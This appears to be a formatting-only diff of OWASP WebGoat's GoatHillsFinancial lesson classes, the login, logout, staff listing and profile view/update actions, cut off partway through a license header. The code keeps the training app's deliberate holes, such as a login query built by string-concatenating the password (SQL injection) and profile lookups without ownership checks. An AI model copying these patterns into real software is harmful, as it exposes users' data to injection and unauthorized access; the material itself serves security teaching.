int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
List<EmployeeStub> employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
}
else
throw new UnauthenticatedException();
@ -72,8 +69,7 @@ public class ListStaff extends DefaultLessonAction
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public List<EmployeeStub> getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
public List<EmployeeStub> getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
@ -82,14 +78,12 @@ public class ListStaff extends DefaultLessonAction
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -98,19 +92,16 @@ public class ListStaff extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@ -13,32 +13,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -47,32 +46,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{
//System.out.println("Login.handleRequest()");
// System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1;
try
{
employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
String password = s.getParser().getStringParameter(
GoatHillsFinancial.PASSWORD);
employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD);
// Attempt authentication
if (login(s, employeeId, password))
@ -81,13 +73,11 @@ public class Login extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -95,82 +85,68 @@ public class Login extends DefaultLessonAction
}
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
}
}
/**
* After this.handleRequest() is called, when the View asks for the current JSP to load,
* it will get one initialized by this call.
* After this.handleRequest() is called, when the View asks for the current JSP to load, it will
* get one initialized by this call.
*/
public String getNextPage(WebSession s)
{
String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, int userId, String password)
{
//System.out.println("Logging in to lesson");
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID, Integer
.toString(userId));
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId));
authenticated = true;
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List<EmployeeStub> getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
@ -186,8 +162,7 @@ public class Login extends DefaultLessonAction
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -196,18 +171,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,32 +7,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -40,34 +40,27 @@ public class Logout extends DefaultLessonAction
private LessonAction chainedAction;
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{
//System.out.println("Logging out");
// System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
// FIXME: Maybe we should forward to Login.
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -75,7 +68,6 @@ public class Logout extends DefaultLessonAction
}
public String getNextPage(WebSession s)
{
return chainedAction.getNextPage(s);

View File

@ -1,46 +1,44 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class SearchStaff extends DefaultLessonAction
{
public SearchStaff(GoatHillsFinancial lesson, String lessonName,
String actionName)
public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.SEARCHSTAFF_ACTION;

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@ -12,32 +12,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -46,66 +45,45 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int subjectId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID, 0);
int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(
GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(
GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(
GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(
GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(
GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(
GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(
GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(
GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(
GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
GoatHillsFinancial.DESCRIPTION);
String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
@ -114,13 +92,11 @@ public class UpdateProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -135,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
@ -146,7 +122,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -162,15 +140,13 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
@ -182,20 +158,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
@ -203,8 +175,7 @@ public class UpdateProfile extends DefaultLessonAction
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
@ -231,14 +202,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();

View File

@ -1,80 +1,72 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
} catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
@ -86,55 +78,41 @@ public class ViewProfile extends DefaultLessonAction
return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
protected Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -22,46 +22,44 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
